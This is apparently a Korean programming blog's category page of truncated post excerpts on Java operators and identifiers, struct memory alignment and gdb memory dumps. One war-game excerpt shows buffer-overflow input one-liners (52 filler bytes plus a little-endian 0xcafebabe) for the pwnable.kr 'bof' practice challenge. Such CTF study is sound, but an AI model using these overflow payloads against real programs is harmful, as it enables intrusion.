전체 분류 보기 497

3. 데이터 계산을 위한 자바 연산자와 우선순위

3. 데이터 계산을 위한 자바 연산자와 우선순위* 학승 내용 1. 연산자와 우선순위 2. 산술, 증감, 관계, 삼항 연산자 3. 논리, 비트, 시프트, 대입연산자 1. 연산자와 우선순위 1)연산자 : 대상을 두고 계산을 할때 사용되는 문구 - 단항 연산자 (1). 항을 하나만 사용하는 연산자 (2). 데이터를 가진 변수에만 적용되는 연산자 (3). 부호 연산자, 증감, 증가 연산자등.. - 이항 연산자 (1). 두 개의 피연산자와한개의 연산자를 가지는 형식 (2). 산술 연산자, 비트 ,논리 연산자 등 - 삼항 연산자 (1). 한개의 조건식과 두 갱의 연산자를 가지는 연산자 (2). 세 개의 피 연산자로구성된다. (3). 조건에 따라 서로 다른 내용을 수행하는 경우에 사용한다. 2)피연산자 : 계산이 이..

2. 자바 형식을 의미하는 식별자와 상수를 나타내느자료형

2. 자바 형식을 의미하는 식별자와 상수를 나타내느자료형 1. 식별자와 키워드 1) 식별자 정의와 특징 - 식별자 : 프로그래밍언어에서 변수, 상수, 배열, 클래스 ,메소드, 레이블 등을 식별하기 위하여 붙이는 이름 - 어떤 대상을 유일하게 시별 및 구별 할수 있는 이름 - Unicode 형식 - 코드에 존재하는 변수, 자료형, 서브루팅등을 가리키는 토근 - 식별자의 규칙 2) 키워드의 정의와 특징 - 자바에서 미리 사용하기 위해 예약 해둔 단어. - goto, const는 키워드지만 실제적으로 쓰이지 않음 - 키워드로 지정한 예약어는 식별자 또는 명칭으로 사용될수 없음 - NULL, Null, False, FALSE, true, false, null은 컴파일러 내부에서 미리 정의되어 있는 상수임 - 키..

1. 자바 기본 설치 및 자바의 기초

1. 자바 기본 섳치 및 자바의 기초 1. Java의 특징 1) 코드이 단순성 - C++에서 잘사용하지 않거나 모호하고 좋지 않느 기능을 제외하고 단순화 - Java와 C/C++과 다른점 (1). 구조체(struct), 공용체(union), 포인터(Pointer)를 지원하지 않음 (2). typdef 와 #define을 지원하지 않음 (3). 연사자 다중 정의를 지원하지 않음 (4). 클래스 다중 상속을 지원하지 않음 (5). 문자 배열로서 String이라는 클래스를 지원함. (6). 쓰레기 수집기(Garbage Collection)기능을 제공함으로서 메모리 할당돠 해제가 되어 함수를 상요할 피요가 없음 2) 객체 지향 언어 - C++ 에서와 같이 전역 변수와 독립 함수가 존재 하지 않음. - 자바에서는..

입력을 통한 Exploit 코드를 실행하는 방법

입력을 통한 Exploit 코드를 실행하는 방법 Buffer Over Flow를 수행하기 위해서 실행 파일에 입력을 해야 할때가 필요하다.이때 공격 코드를 입력하는 방법은 다음과 같다 . Python을 이용한 Exploit 코드 입력 방법 1) 프로그램에 실행 인자로 넘겨 줄 경우 다음과 강이 사용하면 된다../bof `python -c "print 'A'*52+'\xbe\xba\xfe\xca'"` 2) 프로그램 실행 중간에 입력해야 할 경우 (python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof 3) nc 를 이용한 Exploit 코드를 입력하는 방법(pwnable.kr bof 문제서 사용된다)(python -c "print 'A'*52+'\xbe\xba..

war game 2017.05.04

메모리 alignment

요약 : 구조체의 메모리 크기는 구조체 변수의 최대 자료형의 크기를 기준으로정렬된다 http://ikpil.com/359 자료 구조 순서에 따라 바뀌는 구조체 메모리 크기다음 블로그에 설명 잘되어 있음 요약 : 메모리 할당후 빈공간에 연속적으로 메모리 할당이 가능하냐 않하냐에 따라 메모리 할당 크기가 변하게 된다. 상세 내용은 다음 링크를 참조 구조체 메모리 저장방식 #pragma pack

gdb에서 메모리 덤프

gdb에서 메모리 덤프 뜨기 [메모리 덤프]dump memory ./dump_file 0x1003033 0x2040204명령어 설명: - 명령어 : dump - 매개 변수: memory - 결과 파일 : ./dump_file - 덤프 시작 주소 : 0x1003033 - 덤프 끝 주소 : 0x2040204 결과 : 현재 디렉토리에 ./dump_file이란 파일로 0x1003033을 시작으로 0x2040204 까지의 메모리 내용디 덤프 떠진다. 관련되서 유용한 정보 [프로세스와 맵핑된 메모리 정보]/proc/pid/maps[root@localhost]# cat /proc/`pidof crond`/maps7fb0b3d33000-7fb0b3d3e000 r-xp 00000000 08:01 38102 /lib64/..